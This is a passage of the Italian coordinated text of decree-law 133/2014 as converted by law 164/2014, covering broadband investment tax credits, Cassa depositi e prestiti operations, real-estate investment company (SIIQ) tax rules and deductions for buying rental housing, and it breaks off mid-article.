Legge 11 novembre 2014, n. 164, in suppl. ord. n. 85 alla G.U. n. 262 del 11.11.2014)
Art. 1
1. Il decreto-legge 12 settembre 2014, n. 133, recante misure
urgenti per l’apertura dei cantieri, la realizzazione delle opere
pubbliche, la digitalizzazione del Paese, la semplificazione
burocratica, l’emergenza del dissesto idrogeologico e per la ripresa
delle attivita’ produttive, e’ convertito in legge con le
modificazioni riportate in allegato alla presente legge.
2. La presente legge entra in vigore il giorno successivo a quello
della sua pubblicazione nella Gazzetta Ufficiale.
(Si omette la pubblicazione delle modificazioni di cui all’allegato in quanto sono state evidenziate mediante il carattere corsivo nel testo coordinato sotto riportato. Il testo del D.L. 12 settembre 2014, n. 133, è stato pubblicato nel fascicolo n. 18/2014, 1310).
Testo del decreto-legge 12 settembre 2014, n. 133, coordinato con la legge di conversione 11 novembre 2014, n. 164, recante: «Misure urgenti per l’apertura dei cantieri, la realizzazione delle opere pubbliche, la digitalizzazione del Paese, la semplificazione burocratica, l’emergenza del dissesto idrogeologico e per la ripresa delle attivita’ produttive.».
(Testo coordinato a cura del Min. grazia e giustizia in suppl. ord. n. 85 alla G.U. n. 262 del 11.11.2014)
(Omissis).
CAPO II
MISURE PER IL POTENZIAMENTO DELLE RETI AUTOSTRADALI E DI
TELECOMUNICAZIONI
(Omissis).
Art. 6
Agevolazioni per la realizzazione di reti di comunicazione
elettronica a banda ultralarga e norme di semplificazione per le
procedure di scavo e di posa aerea dei cavi, nonche’ per la
realizzazione delle reti di comunicazioni elettroniche
1. Dopo il comma 7-bis dell’ articolo 33 del decreto-legge 18
ottobre 2012, n. 179, convertito, con modificazioni, dalla legge 17
dicembre 2012, n. 221, sono inseriti i seguenti:
«7-ter. In via sperimentale, fino al 31 dicembre 2015, possono
essere ammessi ai benefici di cui al comma 7-sexies interventi
infrastrutturali, per i quali non sono previsti contributi pubblici a
fondo perduto, realizzati sulla rete a banda ultralarga, relativi
alla rete di accesso attraverso cui viene fornito il servizio a banda
ultralarga all’utente, per i quali ricorrano le seguenti condizioni:
a) siano interventi infrastrutturali nuovi e aggiuntivi non gia’
previsti in piani industriali o finanziari o in altri idonei atti
alla data di entrata in vigore della presente disposizione,
funzionali ad assicurare il servizio a banda ultralarga a tutti i
soggetti potenzialmente interessati insistenti nell’area considerata;
b) soddisfino un obiettivo di pubblico interesse previsto
dall’Agenda digitale europea, di cui alla comunicazione della
Commissione europea COM (2010) 245 definitivo/2 del 26 agosto 2010;
c) prevedano un investimento privato non inferiore alle soglie di
seguito indicate finalizzato all’estensione della rete a banda
ultralarga:
1) nei comuni con popolazione inferiore a 5.000 abitanti:
investimento non inferiore a 200.000 euro e completamento degli
interventi infrastrutturali entro nove mesi dalla data della
prenotazione di cui al comma 7-septies;
2) nei comuni con popolazione compresa tra 5.000 e 10.000 abitanti:
investimento non inferiore a 500.000 euro e completamento degli
interventi infrastrutturali entro dodici mesi dalla data della
prenotazione di cui al comma 7-septies;
3) nei comuni con popolazione superiore a 10.000 abitanti:
investimento non inferiore a 1 milione di euro e completamento degli
interventi infrastrutturali entro dodici mesi dalla data della
prenotazione di cui al comma 7-septies. Il suddetto termine di
completamento e’ esteso a ventiquattro mesi per investimenti
superiori a 10 milioni di euro e a trenta mesi per investimenti
superiori a 50 milioni di euro, ma in tal caso deve essere assicurata
la connessione a tutti gli edifici scolastici nell’area interessata
entro i primi dodici mesi. Nei casi previsti al secondo periodo, i
benefici di cui al comma 7-sexies sono estesi all’imposta sul reddito
e all’imposta regionale sulle attivita’ produttive (IRAP) relative
all’anno 2016;
d) le condizioni del mercato siano insufficienti a garantire che
l’investimento privato sia realizzato entro due anni dalla data di
entrata in vigore della presente disposizione. Il termine e’ di tre
anni in caso di investimenti superiori a 50 milioni di euro.
7-quater. Ai fini del presente articolo si intende per:
a) rete a banda ultralarga a 30 Mbit/s: l’insieme delle
infrastrutture e delle tecnologie in grado di erogare un servizio di
connettivita’ con banda di download di almeno 30 Mbit/s e di upload
di almeno 3 Mbit/s su una determinata area;
b) rete a banda ultralarga a 100 Mbit/s: l’insieme delle
infrastrutture e tecnologie in grado di erogare un servizio di
connettivita’ con banda di download di almeno 100 Mbit/s e di upload
di almeno 10 Mbit/s su una determinata area;
c) servizio a banda ultralarga: un servizio di connettivita’ con la
banda di cui alle lettere a) e b) e con l’obbligo di copertura di
tutti i potenziali utenti (residenziali, pubbliche amministrazioni,
imprese) di una determinata area geografica con un fattore di
contemporaneita’ di almeno il 50 per cento della popolazione
residente servita e assicurando la copertura di tutti gli edifici
scolastici dell’area interessata.
7-quinquies. Sono ammessi al beneficio tutti gli interventi
infrastrutturali attraverso cui e’ possibile fornire il servizio di
cui alla lettera c) del comma 7-quater, purche’ non ricadenti in aree
nelle quali gia’ sussistano idonee infrastrutture o vi sia gia’ un
fornitore di servizi di rete a banda ultralarga con caratteristiche
di rete, di cui alle lettere a) e b) del comma 7-quater, eguali o
superiori a quelle dell’intervento per il quale e’ richiesto il
contributo. E’ ammessa al beneficio la costruzione di cavidotti, cavi
in fibra ottica, armadi di terminazione ottica e tralicci. Non sono
ammessi i costi per apparati tecnologici di qualunque natura. I
benefici di cui al comma 7-sexies possono essere concessi ad un solo
soggetto nella stessa area.
7-sexies. Gli interventi che abbiano le caratteristiche di cui al
comma 7-ter possono usufruire del credito d’imposta a valere
sull’IRES e sull’IRAP complessivamente dovute dall’impresa che
realizza l’intervento infrastrutturale, entro il limite massimo del
50 per cento del costo dell’investimento. Il credito d’imposta non
costituisce ricavo ai fini delle imposte dirette e dell’IRAP ed e’
utilizzato in sede di dichiarazione dei redditi e dell’imposta
regionale sulle attivita’ produttive.
7-septies. A decorrere dalla data di entrata in vigore della
presente disposizione e fino al 31 gennaio 2015, per ottenere i
benefici di cui al comma 7-sexies, l’operatore interessato alla
realizzazione dell’investimento deve dare evidenza pubblica
all’impegno che intende assumere, manifestando il proprio interesse
per ciascuna area attraverso una prenotazione da effettuare nel sito
web del Ministero dello sviluppo economico. Nel sito web e’ inserita
un’apposita sezione con la classificazione delle aree ai fini del
Piano strategico banda ultralarga in cui sono distinti gli interventi
a 30 Mbit/s e a 100 Mbit/s. Nei casi di conflitto di prenotazione,
ossia per tutte le aree in cui vi sia piu’ di una prenotazione, il
beneficio e’ riconosciuto all’operatore che presenta il progetto con
una maggiore copertura del territorio e livelli di servizio piu’
elevati, corredati di soluzioni tecnologiche piu’ evolute. Nei tre
mesi successivi alla prenotazione l’operatore, a pena di decadenza,
deve trasmettere un progetto esecutivo firmato digitalmente,
conformemente a quanto previsto dalla decisione della Commissione
europea C(2012) 9833 final, del 18 dicembre 2012. Entro il 30 aprile
2015 il Ministero dello sviluppo economico pubblica l’indicazione di
tutte le aree oggetto di intervento privato con richiesta di
contributo e di tutte le aree bianche rimanenti. Dopo il
completamento dell’intervento l’operatore e’ tenuto ad inviare una
comunicazione certificata del collaudo tecnico dell’intervento,
affinche’ l’amministrazione possa verificare la conformita’
dell’intervento rispetto agli impegni assunti, e deve mettere a
disposizione degli altri operatori l’accesso all’infrastruttura
passiva, secondo le determinazioni dell’Autorita’ per le garanzie
nelle comunicazioni. Sia in fase di progettazione sia in fase di
gestione, il Ministero dello sviluppo economico ha la facolta’ di
predisporre ogni tipo di controllo necessario per verificare la
conformita’ dell’intervento rispetto agli impegni assunti.
7-octies. Con decreto del Ministro dello sviluppo economico,
sentiti, per quanto di loro competenza, i Ministeri competenti
nonche’ l’Agenzia delle entrate, da adottare entro trenta giorni
dalla data di entrata in vigore della presente disposizione, sono
stabiliti condizioni, criteri, modalita’ operative, di controllo e
attuative dei commi da 7-ter a 7-septies, nonche’ il procedimento,
analogo e congruente rispetto a quello previsto dal comma 2, per
l’individuazione, da parte del CIPE, del limite degli interventi
agevolabili. Il decreto di cui al primo periodo definisce altresi’ le
modalita’ atte ad assicurare l’effettiva sussistenza del carattere
nuovo e aggiuntivo dell’intervento infrastrutturale proposto, la
modulazione della struttura delle aliquote del credito d’imposta di
cui lo stesso beneficia, anche in funzione delle specifiche
condizioni di mercato dell’area interessata, e le forme di controllo
e di monitoraggio, per garantire il conseguimento delle finalita’
sottese al beneficio concesso, tenuto conto della decisione della
Commissione europea C(2012) 9833 final, del 18 dicembre 2012».
(Omissis).
CAPO IV
MISURE PER LA SEMPLIFICAZIONE BUROCRATICA
(Omissis).
Art. 10
Disposizioni per il potenziamento dell’operativita’
di Cassa depositi e prestiti a supporto dell’economia
1. All’articolo 5 del decreto-legge 30 settembre 2003, n. 269,
convertito, con modificazioni, dalla legge 24 novembre 2003, n. 326,
sono apportate le seguenti modifiche:
«a) al comma 7, lettera a), secondo periodo, dopo le parole: «dai
medesimi promossa,» sono aggiunte le seguenti: «nonche’ nei confronti
di soggetti privati per il compimento di operazioni nei settori di
interesse generale individuati ai sensi del successivo comma 11,
lettera e),»;
b) al comma 7, lettera b) le parole: «alla fornitura di servizi
pubblici ed alle bonifiche» sono sostituite dalle seguenti: «a
iniziative di pubblica utilita’ nonche’ investimenti finalizzati a
ricerca, sviluppo, innovazione, tutela e valorizzazione del
patrimonio culturale, anche in funzione di promozione del turismo,
ambiente e efficientamento energetico, anche con riferimento a
quelle interessanti i territori montani e rurali per investimenti nel
campo della green economy, in via preferenziale in cofinanziamento
con enti creditizi e comunque»;
c) al comma 11, lettera e), dopo le parole: «ammissibili a
finanziamento» sono aggiunte le seguenti: «, e i settori di
intervento di cui al medesimo comma 7, lettera a), nonche’ i criteri
e i limiti delle operazioni dei soggetti privati e i relativi settori
di intervento»;
d) al comma 11, lettera e-bis), le parole: «con riferimento a
ciascun esercizio finanziario,» sono soppresse; le parole: «ai sensi
del comma 7, lettera a)» sono sostituite dalle seguenti: «diverse da
quelle di cui al comma 7, lettera b),»; le parole: «con rinuncia
all’azione di regresso su CDP S.p.A.,» sono soppresse; le parole: «a
condizioni di mercato» sono soppresse; alla fine della lettera
sono aggiunte le seguenti parole: «Con una o piu’ convenzioni tra il
Ministero dell’economia e delle finanze e la Cassa depositi e presiti
S.p.A. sono disciplinati i criteri e le modalita’ operative, la
durata e la remunerazione della predetta garanzia.».
2. Al comma 5-bis dell’articolo 26 del decreto del Presidente della
Repubblica 29 settembre 1973, n. 600, dopo le parole: «stabiliti
negli Stati membri dell’Unione Europea», sono aggiunte le seguenti:
«enti individuati all’articolo 2, paragrafo 5, numeri da 4) a 23),
della direttiva 2013/36/UE,».
2-bis. All’articolo 5 del decreto-legge 30 settembre 2003, n.
269, convertito, con modificazioni, dalla legge 24 novembre 2003, n.
326, e successive modificazioni, sono apportate le seguenti
modificazioni:
a) al comma 7, lettera a), le parole: «Tali operazioni» sono
sostituite dalle seguenti: «Le operazioni adottate nell’ambito delle
attivita’ di cooperazione internazionale allo sviluppo, di cui
all’articolo 22 della legge 11 agosto 2014, n. 125,»;
b) al comma 11-bis, dopo le parole: «per l’effettuazione delle
operazioni» sono inserite le seguenti: «adottate nell’ambito delle
attivita’ di cooperazione internazionale allo sviluppo».
Art. 11
Disposizioni in materia di defiscalizzazione
degli investimenti infrastrutturali in finanza di progetto
1. All’articolo 33 del decreto-legge 18 ottobre 2012, n. 179,
convertito, con modificazioni, dalla legge 17 dicembre 2012, n. 221,
sono apportate le seguenti modificazioni:
a) al comma 1, le parole: «di rilevanza strategica nazionale» sono
sostituite dalle seguenti: «previste in piani o programmi approvati
da amministrazioni pubbliche», e la parola: «200» e’ sostituita dalla
seguente: «50»;
b) al comma 2-ter, le parole: «di rilevanza strategica nazionale»
sono sostituite dalle seguenti: «previste in piani o programmi
approvati da amministrazioni pubbliche» e la parola: «200» e’
sostituita dalla seguente: «50».
c) dopo il comma 2-quater e’ aggiunto il seguente: «2-quinquies. Il
valore complessivo delle opere non di rilevanza strategica nazionale
previste in piani o programmi approvati da amministrazioni pubbliche,
cui vengono applicate le misure di cui ai commi 1 e 2-ter, non puo’
superare l’importo di 2 miliardi di euro.».
Art. 12
Potere sostitutivo nell’utilizzo dei fondi europei
(Omissis).
Art. 13
Misure a favore dei project bond
(Omissis).
3. All’articolo 1 del decreto-legge 22 giugno 2012, n. 83,
convertito, con modificazioni, dalla legge 7 agosto 2012, n. 134,
sono apportate le seguenti modificazioni:
a) il comma 3 e’ sostituito dal seguente: «3. Le garanzie di
qualunque tipo, da chiunque e in qualsiasi momento prestate in
relazione alle emissioni di obbligazioni e titoli di debito da parte
delle societa’ di cui all’articolo 157 del decreto legislativo 12
aprile 2006, n. 163, nonche’ le relative eventuali surroghe,
sostituzioni, postergazioni, frazionamenti e cancellazioni anche
parziali, ivi comprese le cessioni di credito stipulate in relazione
a tali emissioni, nonche’ i trasferimenti di garanzie anche
conseguenti alla cessione delle predette obbligazioni e titoli di
debito, sono soggetti alle imposte di registro, ipotecarie e
catastali in misura fissa di cui rispettivamente al decreto del
Presidente della Repubblica 26 aprile 1986, n. 131 e al decreto
legislativo 31 ottobre 1990, n. 347.».
b) il comma 4 e’ abrogato.
(Omissis).
CAPO V
MISURE PER IL RILANCIO DELL’EDILIZIA
(Omissis).
Art. 19
Esenzione da ogni imposta degli accordi di riduzione
dei canoni di locazione
1. La registrazione dell’atto con il quale le parti dispongono
esclusivamente la riduzione del canone di un contratto di locazione
ancora in essere e’ esente dalle imposte di registro e di bollo.
1-bis. Nella definizione degli accordi di cui al presente
articolo, anche nell’ambito di iniziative intraprese da agenzie o
istituti per le locazioni, comunque denominati, le parti possono
avvalersi dell’assistenza delle organizzazioni della proprieta’
edilizia e dei conduttori, sia in relazione ai contratti di cui
all’articolo 2, comma 1, della legge 9 dicembre 1998, n. 431, sia in
relazione ai contratti di cui al medesimo articolo 2, commi 3 e 5,
della legge n. 431 del 1998, e successive modificazioni. Il
conduttore, con propria comunicazione, puo’ avanzare richiesta
motivata di riduzione del canone contrattuale. Ove la trattativa si
concluda con la determinazione di un canone ridotto e’ facolta’ dei
comuni riconoscere un’aliquota ridotta dell’imposta municipale
propria.
Art. 20
Misure per il rilancio del settore immobiliare
1. All’articolo 1, della legge 27 dicembre 2006, n. 296, sono
apportate le seguenti modificazioni:
a) al comma 119:
1) le parole: «del 51 per cento», ovunque ricorrono, sono
sostituite dalle seguenti: «del 60 per cento» e le parole: «il 35 per
cento» sono sostituite dalle seguenti: «il 25 per cento»;
2) e’ aggiunto, in fine, il seguente periodo: «Il requisito
partecipativo del 25 per cento non si applica in ogni caso per le
societa’ il cui capitale sia gia’ quotato. Ove il requisito
partecipativo del 60 per cento venisse superato a seguito di
operazioni societarie straordinarie o sul mercato dei capitali il
regime speciale di cui al precedente periodo e’ sospeso sino a quando
il suddetto requisito partecipativo non venga ristabilito nei limiti
imposti dalla presente norma.»;
b) dopo il comma 119 sono inseriti i seguenti:
«119-bis. I requisiti partecipativi di cui al comma 119 devono
essere verificati entro il primo periodo d’imposta per cui si
esercita l’opzione ai sensi del comma 120; in tal caso il regime
speciale esplica i propri effetti dall’inizio di detto periodo.
Tuttavia, per le societa’ che al termine del primo periodo d’imposta
abbiano realizzato il solo requisito del 25 per cento e’ consentito
di verificare l’ulteriore requisito partecipativo del 60 per cento
nei due esercizi successivi. In tal caso, il regime speciale previsto
dal comma 119 si applica a partire dall’inizio del periodo d’imposta
in cui detto requisito partecipativo viene verificato e fino ad
allora la societa’ applica in via ordinaria l’imposta sul reddito
delle societa’ e l’imposta regionale sulle attivita’ produttive.
L’imposta d’ingresso di cui al comma 126, l’imposta sostitutiva sulle
plusvalenze da conferimento di cui al comma 137 e le imposte
ipotecarie e catastali di cui al comma 139 sono applicate,
rispettivamente dalla societa’ che ha presentato l’opzione e dal
soggetto conferente, in via provvisoria fino al realizzarsi
dell’accesso al regime speciale. Se l’accesso al regime speciale non
si realizza, le suddette imposte sono rideterminate e dovute in via
ordinaria entro la fine del quarto periodo d’imposta successivo alla
presentazione dell’opzione. Le imposte corrisposte in via provvisoria
costituiscono credito d’imposta utilizzabile ai sensi del
decreto legislativo 9 luglio 1997, n. 241.
119-ter. Le SIIQ non costituiscono Organismi di investimento
collettivo del risparmio di cui al decreto legislativo 24 febbraio
1998, n. 58.»;
c) al comma 121:
1) dopo il secondo periodo e’ inserito il seguente: «Agli stessi
effetti assumono rilevanza le quote di partecipazione nei fondi
immobiliari indicati nel comma 131 e i relativi proventi.»;
2) il terzo periodo e’ sostituito dal seguente: «In caso di
alienazione degli immobili e dei diritti reali su immobili destinati
alla locazione, anche nel caso di loro classificazione tra le
attivita’ correnti, ai fini della verifica del parametro reddituale
concorrono a formare i componenti positivi derivanti dallo
svolgimento di attivita’ di locazione immobiliare soltanto le
eventuali plusvalenze realizzate»;
d) al comma 122, le parole: «due esercizi» sono sostituite dalle
seguenti: «tre esercizi»;
e) al comma 123:
1) le parole: «l’85 per cento» sono sostituite dalle seguenti: «il
70 per cento»;
2) al primo periodo, dopo la parola: «partecipazioni» sono inserite
le seguenti: «o di quote di partecipazione in fondi immobiliari di
cui al comma 131»;
f) dopo il comma 123 e’ inserito il seguente:
«123-bis. Ai fini del comma 123, i proventi rivenienti dalle
plusvalenze nette realizzate su immobili destinati alla locazione
nonche’ derivanti dalla cessione di partecipazioni in SIIQ e SIINQ o
di quote in fondi immobiliari di cui al comma 131, incluse nella
gestione esente ai sensi del comma 131, sono soggetti
all’obbligo di distribuzione per il 50 per cento nei due esercizi
successivi a quello di realizzo.»;
g) al comma 127, il secondo periodo e’ sostituito dal seguente: «In
caso di alienazione degli immobili o dei diritti reali anteriormente
a tale termine, la differenza fra il valore normale assoggettato
all’imposta di cui ai commi 126 e 137 e il costo fiscale riconosciuto
prima dell’ingresso nel regime speciale, al netto delle quote di
ammortamento calcolate su tale costo, e’ assoggettato ad imposizione
ordinaria e l’imposta sostitutiva proporzionalmente imputabile agli
immobili e ai diritti reali alienati costituisce credito d’imposta.»;
h) al comma 131, al secondo periodo, dopo le parole: «locazione
immobiliare svolta da tali societa’», e’ aggiunto il seguente
periodo: «, ovvero le plusvalenze o minusvalenze relative a immobili
destinati alla locazione e a partecipazioni in SIIQ o SIINQ e i
proventi e le plusvalenze o minusvalenze relativi a quote di
partecipazione a fondi comuni di investimento immobiliare istituiti
in Italia e disciplinati dal testo unico di cui al decreto
legislativo 24 febbraio 1998, n. 58, che investono almeno l’80 per
cento del valore delle attivita’ in immobili, diritti reali
immobiliari, anche derivanti da rapporti concessori o da contratti di
locazione finanziaria su immobili a carattere traslativo, e in
partecipazioni in societa’ immobiliari o in altri fondi immobiliari,
destinati alla locazione immobiliare, ivi inclusi i fondi destinati
all’investimento in beni immobili a prevalente utilizzo sociale,
ovvero in partecipazioni in SIIQ o SIINQ. Sui proventi di cui al
periodo precedente distribuiti dai predetti fondi immobiliari alle
SIIQ non si applica la ritenuta prevista dall’articolo 7, comma 2,
del decreto-legge 25 settembre 2001, n. 351, convertito, con
modificazioni, dalla legge 23 novembre 2001, n. 410.»;
i) al comma 134:
1) al secondo periodo, dopo le parole: «ai sensi dell’articolo 2,
comma 3, della legge 9 dicembre 1998, n. 431», e’ inserito il
seguente periodo: «, ivi inclusi i contratti di locazione relativi
agli alloggi sociali realizzati o recuperati in attuazione
dell’articolo 11 del decreto-legge 25 giugno 2008, n. 112,
convertito, con modificazioni, dalla legge 6 agosto 2008, n. 133, e
dell’articolo 11 dell’Allegato al decreto del Presidente del
Consiglio dei ministri 16 luglio 2009, pubblicato nella gazzetta
ufficiale del 19 agosto 2009, n. 191; la presente disposizione
costituisce deroga all’unificazione dell’aliquota di cui
all’articolo 3, comma 1, del decreto-legge 24 aprile 2014, n. 66,
convertito, con modificazioni, dalla legge 23 giugno 2014, n. 89»;
2) e’ aggiunto, in fine, il seguente periodo:
«Per le distribuzioni eseguite nei confronti di soggetti non
residenti si applicano, sussistendone i presupposti, le convenzioni
per evitare la doppia imposizione sul reddito e a tal fine si applica
l’articolo 7, comma 3-bis, del decreto-legge 25 settembre 2001, n.
351, convertito, con modificazioni, dalla legge 23 novembre 2001, n.
410».
l) al comma 141-bis, primo periodo, dopo le parole: «locazione
immobiliare» sono aggiunte le seguenti «, anche svolta mediante
partecipazioni in societa’ che abbiano espresso l’opzione
congiunta per il regime speciale di cui al comma 125».
2. All’articolo 1 della legge 27 dicembre 2006, n. 296, dopo il
comma 140 sono inseriti i seguenti:
«140-bis. Il concambio eseguito dai fondi immobiliari istituiti e
disciplinati dal decreto legislativo 24 febbraio 1998, n. 58, in sede
di liquidazione totale o parziale mediante assegnazione ai quotisti
di azioni di societa’ che abbiano optato per il regime di cui al
comma 119, ricevute a seguito di conferimento di immobili nelle
stesse societa’ non costituisce realizzo ai fini delle imposte sui
redditi in capo al quotista e alle azioni della SIIQ ricevute dagli
stessi quotisti e’ attribuito il medesimo valore fiscale delle quote
del fondo. Per la SIIQ conferitaria, il valore di conferimento
iscritto in bilancio costituisce valore fiscalmente riconosciuto agli
effetti del comma 127. Qualora il conferimento di cui ai periodi
precedenti sia effettuato nei confronti di una SIIQ gia’ esistente
non si applicano al fondo conferente gli obblighi di offerta pubblica
ai sensi dell’articolo 106 del decreto legislativo 24 febbraio 1998,
n. 58, a condizione che il fondo stesso provveda all’assegnazione
delle azioni ai quotisti entro il termine di 30 giorni dall’acquisto.
140-ter. Ai conferimenti effettuati dai fondi immobiliari istituiti
e disciplinati dal decreto legislativo 24 febbraio 1998, n. 58 in
societa’, che abbiano optato per il regime speciale di cui al comma
119 e aventi ad oggetto una pluralita’ di immobili prevalentemente
locati, si applica l’articolo 2, terzo comma, lettera b), del decreto
del Presidente della Repubblica 26 ottobre 1972, n. 633. I predetti
conferimenti si considerano compresi, agli effetti delle imposte di
registro, ipotecaria e catastale, fra gli atti previsti nell’articolo
4, comma 1, lettera a), numero 3), della tariffa, parte I, allegata
al testo unico delle disposizioni concernenti l’imposta di registro
di cui al decreto del Presidente della Repubblica 26 aprile 1986, n.
131, nell’articolo 10, comma 2, del testo unico delle disposizioni
concernenti le imposte ipotecaria e catastale di cui al decreto
legislativo 31 ottobre 1990, n. 347, e nell’articolo 4 della tariffa
allegata al medesimo decreto legislativo n. 347 del 1990. Le cessioni
di azioni o quote effettuate nella fase di liquidazione di cui al
comma 140-bis, si considerano, ai fini dell’articolo 19-bis, comma 2,
del decreto del Presidente della Repubblica 26 ottobre 1972, n. 633,
operazioni che non formano oggetto dell’attivita’ propria del
soggetto passivo.
140-quater. Il medesimo trattamento fiscale di cui al comma 140-ter
si applica alle assegnazioni che abbiano ad oggetto una pluralita’ di
immobili prevalentemente locati eseguite per la liquidazione delle
quote da fondi immobiliari istituiti e disciplinati dal decreto
legislativo 24 febbraio 1998, n. 58, a societa’ che abbiano optato
per il regime di cui al comma 119.».
3. All’onere derivante dal comma 1, lettera f), pari a 1,06 milioni
di euro per l’anno 2014, 3,26 milioni per l’anno 2015, a 3,33
milioni per l’anno 2016, a 3,38 milioni per l’anno 2017, a 4,17
milioni per l’anno 2018, a 4,97 milioni per l’anno 2019, a 5,30
milioni per l’anno 2020 e a 4,90 milioni di euro annui a
decorrere dall’anno 2021 si provvede mediante corrispondente
riduzione dell’autorizzazione di spesa di cui all’articolo 27, comma
10, sesto periodo, della legge 23 dicembre 1999, n. 488, e successive
modificazioni.
4. All’articolo 3 del decreto-legge 25 settembre 2001, n. 351,
convertito, con modificazioni, dalla legge 23 novembre 2001, n. 410,
sono apportate le seguenti modificazioni:
a) al primo periodo del comma 18, sono aggiunte, in fine, le
parole: «nonche’ dalle dichiarazioni di conformita’ catastale
previste dall’articolo 19, commi 14 e 15, del decreto-legge 31 maggio
2010, n. 78, convertito, con modificazioni, dalla legge 30 luglio
2010, n. 122»;
b) al primo periodo del comma 19, sono aggiunte, in fine, le
seguenti parole: «nonche’ dalle dichiarazioni di conformita’
catastale previste dall’articolo 19, commi 14 e 15, del decreto-legge
31 maggio 2010, n. 78, convertito, con modificazioni, dalla legge 30
luglio 2010, n. 122»;
c) dopo il comma 19 e’ inserito il seguente comma 19-bis: «Nei casi
delle operazioni immobiliari di cui al presente articolo, e di quelle
di cui all’articolo 11-quinquies del decreto-legge 30 settembre 2005,
n. 203, convertito, con modificazioni, dalla legge 2 dicembre 2005,
n. 248, l’attestato di prestazione energetica di cui all’articolo 6
del decreto legislativo 19 agosto 2005, n. 192, puo’ essere acquisito
successivamente agli atti di trasferimento e non si applica la
disposizione di cui al comma 3 del medesimo articolo 6.».
c-bis) dopo il comma 20 e’ aggiunto il seguente:
«20-bis. Agli immobili del patrimonio abitativo dell’Istituto
nazionale della previdenza sociale oggetto di conferimenti o
trasferimenti a uno o piu’ fondi comuni di investimento immobiliare
di cui al decreto del Ministro dell’economia e delle finanze 5
febbraio 2014, pubblicato nella Gazzetta Ufficiale n. 65 del 19 marzo
2014, continuano ad applicarsi le disposizioni dei commi da 3 a 20
del presente articolo. Al fine di accelerare il processo di
dismissione del patrimonio suddetto ai conduttori, il termine
previsto dal comma 1 dell’articolo 7-bis del decreto-legge 30
settembre 2005, n. 203, convertito, con modificazioni, dalla legge 2
dicembre 2005, n. 248, e’ prorogato al 31 dicembre 2013».
4-bis. (Omissis).
4-ter. Al comma 4 dell’articolo 10 del decreto legislativo 14 marzo
2011, n. 23, e successive modificazioni, e’ aggiunto, in fine, il
seguente periodo: «E’ altresi’ esclusa la soppressione delle
esenzioni e delle agevolazioni tributarie riferite agli atti di cui
ai commi 1 e 2 aventi ad oggetto immobili pubblici interessati da
operazioni di permuta, dalle procedure di cui agli articoli 2, 3,
3-ter e 4 del decreto-legge 25 settembre 2001, n. 351, convertito,
con modificazioni, dalla legge 23 novembre 2001, n. 410, e successive
modificazioni, all’articolo 11-quinquies del decreto-legge 30
settembre 2005, n. 203, convertito, con modificazioni, dalla legge 2
dicembre 2005, n. 248, e successive modificazioni, e agli articoli 33
e 33-bis del decreto-legge 6 luglio 2011, n. 98, convertito, con
modificazioni, dalla legge 15 luglio 2011, n. 111, e successive
modificazioni, e all’articolo 32 del decreto del Presidente della
Repubblica 29 settembre 1973, n. 601».
4-quater. Al terzo periodo del comma 1 dell’articolo 11-quinquies
del decreto-legge 30 settembre 2005, n. 203, convertito, con
modificazioni, dalla legge 2 dicembre 2005, n. 248, dopo le parole:
«degli enti territoriali» sono inserite le seguenti: «e delle altre
pubbliche amministrazioni di cui all’articolo 1, comma 2, del decreto
legislativo 30 marzo 2001, n. 165, e successive modificazioni,» e
dopo le parole: «che intendono dismettere» sono aggiunte le seguenti:
«e le altre pubbliche amministrazioni di cui all’articolo 1, comma 2,
del decreto legislativo n. 165 del 2001 provvedono secondo i
rispettivi ordinamenti, fermo restando quanto previsto dall’articolo
6, comma 8, della legge 12 novembre 2011, n. 183».
4-quinquies. (Omissis).
Art. 21
Misure per l’incentivazione degli investimenti
in abitazioni in locazione
1. Per l’acquisto, effettuato dal 1° gennaio 2014 al 31 dicembre
2017, di unita’ immobiliari a destinazione residenziale, di nuova
costruzione, invendute alla data di entrata in vigore della legge di
conversione del presente decreto od oggetto di interventi di
ristrutturazione edilizia o di restauro e di risanamento conservativo
di cui all’articolo 3, comma 1, lettere d) e c), del testo unico di
cui al decreto del Presidente della Repubblica 6 giugno 2001, n. 380,
e’ riconosciuta all’acquirente, persona fisica non esercente
attivita’ commerciale, una deduzione dal reddito complessivo pari al
20 per cento del prezzo di acquisto dell’immobile risultante
dall’atto di compravendita, nel limite massimo complessivo di spesa
di 300.000 euro, nonche’ degli interessi passivi dipendenti da mutui
contratti per l’acquisto delle unita’ immobiliari medesime.
2. La deduzione di cui al comma 1 spetta, nella medesima misura e
nel medesimo limite massimo complessivo, anche per le spese sostenute
dal contribuente persona fisica non esercente attivita’ commerciale
per prestazioni di servizi, dipendenti da contratti d’appalto, per la
costruzione di un’unita’ immobiliare a destinazione residenziale su
aree edificabili gia’ possedute dal contribuente stesso prima
dell’inizio dei lavori o sulle quali sono gia’ riconosciuti diritti
edificatori. Ai fini della deduzione le predette spese di costruzione
sono attestate dall’impresa che esegue i lavori.
3. Fermo restando il limite massimo complessivo di 300.000 euro, la
deduzione spetta anche per l’acquisto o realizzazione di ulteriori
unita’ immobiliari da destinare alla locazione.
4. La deduzione, spetta a condizione che:
a) l’unita’ immobiliare acquistata sia destinata, entro sei mesi
dall’acquisto o dal termine dei lavori di costruzione, alla locazione
per almeno otto anni e purche’ tale periodo abbia carattere
continuativo; il diritto alla deduzione, tuttavia, non viene meno se,
per motivi non imputabili al locatore, il contratto di locazione si
risolve prima del decorso del suddetto periodo e ne viene stipulato
un altro entro un anno dalla data della suddetta risoluzione del
precedente contratto;
b) l’unita’ immobiliare medesima sia a destinazione residenziale, e
non sia classificata o classificabile nelle categorie catastali A/1,
A/8 e A/9;
c) l’unita’ immobiliare non sia ubicata nelle zone omogenee
classificate E, ai sensi del decreto del Ministro dei lavori
pubblici 2 aprile 1968, n. 1444;
d) l’unita’ immobiliare consegua prestazioni energetiche
certificate in classe A o B, ai sensi dell’allegato 4 delle Linee
Guida nazionali per la classificazione energetica degli edifici di
cui al G decreto del Ministro dello sviluppo economico 26 giugno
2009, pubblicato nella Gazzetta Ufficiale n. 158 del 10 luglio 2009,
ovvero ai sensi della normativa regionale, laddove vigente;
e) il canone di locazione non sia superiore a quello indicato
nella convenzione di cui all’ articolo 18 del testo unico di cui al
decreto del Presidente della Repubblica 6 giugno 2001, n. 380, ovvero
non sia superiore al minore importo tra il canone definito ai sensi
dell’ articolo 2, comma 3, della legge 9 dicembre 1998, n. 431, e
quello stabilito ai sensi dell’articolo 3, comma 114, della legge 24
dicembre 2003, n. 350;
f) non sussistano rapporti di parentela entro il primo grado tra
locatore e locatario.
4-bis. Le persone fisiche non esercenti attivita’ commerciale
possono cedere in usufrutto, anche contestualmente all’atto di
acquisto e anche prima della scadenza del periodo minimo di locazione
di otto anni, le unita’ immobiliari acquistate con le agevolazioni
